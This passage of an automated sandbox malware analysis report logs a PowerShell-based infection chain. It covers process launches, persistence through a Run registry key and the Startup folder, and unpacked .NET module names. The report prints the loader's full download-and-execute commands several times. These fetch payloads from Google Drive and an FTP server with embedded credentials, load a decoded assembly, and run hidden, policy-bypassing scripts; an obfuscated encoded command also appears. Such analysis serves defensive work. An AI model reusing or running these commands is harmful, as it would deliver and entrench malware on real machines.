                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,22_2_0041CBE1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD346C00BD pushad ; iretd 4_2_00007FFD346C00C1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD345DD2A5 pushad ; iretd 5_2_00007FFD345DD2A6
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F855B push ebx; ret 5_2_00007FFD346F85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F851B push ebx; ret 5_2_00007FFD346F851A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F851B push ebx; ret 5_2_00007FFD346F85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F84FA push ebx; ret 5_2_00007FFD346F851A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F85AB push ebx; ret 5_2_00007FFD346F85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345AD2A5 pushad ; iretd 6_2_00007FFD345AD2A6
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C00BD pushad ; iretd 6_2_00007FFD346C00C1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C855B push ebx; ret 6_2_00007FFD346C85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C851B push ebx; ret 6_2_00007FFD346C851A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C851B push ebx; ret 6_2_00007FFD346C85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C84FA push ebx; ret 6_2_00007FFD346C851A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C85AB push ebx; ret 6_2_00007FFD346C85AA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD346E8118 push ebx; ret 13_2_00007FFD346E816A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD346E5CEC push ds; iretd 20_2_00007FFD346E5CEF
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00457186 push ecx; ret 22_2_00457199
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0045E55D push esi; ret 22_2_0045E566
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00457AA8 push eax; ret 22_2_00457AC6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00434EB6 push ecx; ret 22_2_00434EC9
                      Source: 13.2.powershell.exe.20b77850000.2.raw.unpack, -.csHigh entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
                      Source: 13.2.powershell.exe.20b77850000.2.raw.unpack, Class1.csHigh entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
                      Source: 13.2.powershell.exe.20b77850000.2.raw.unpack, MyProject.csHigh entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
                      Source: 13.2.powershell.exe.20b77850000.2.raw.unpack, eBAeUnDesS152cY3JS.csHigh entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
                      Source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, -.csHigh entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
                      Source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, Class1.csHigh entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
                      Source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, MyProject.csHigh entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
                      Source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, eBAeUnDesS152cY3JS.csHigh entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
                      Source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, -.csHigh entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
                      Source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, Class1.csHigh entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
                      Source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, MyProject.csHigh entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
                      Source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, eBAeUnDesS152cY3JS.csHigh entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
                      Source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, -.csHigh entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
                      Source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, Class1.csHigh entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
                      Source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, MyProject.csHigh entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
                      Source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, eBAeUnDesS152cY3JS.csHigh entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'

                      Persistence and Installation Behavior

                      barindex
                      Tries to download and execute files (via powershell)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00406EEB ShellExecuteW,URLDownloadToFileW,22_2_00406EEB

                      Boot Survival

                      barindex
                      Creates autostart registry keys with suspicious values (likely registry only malware)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_ewz cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exitJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,22_2_0041AADB
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_ewzJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_ewzJump to behavior

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Loading BitLocker PowerShell Module
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
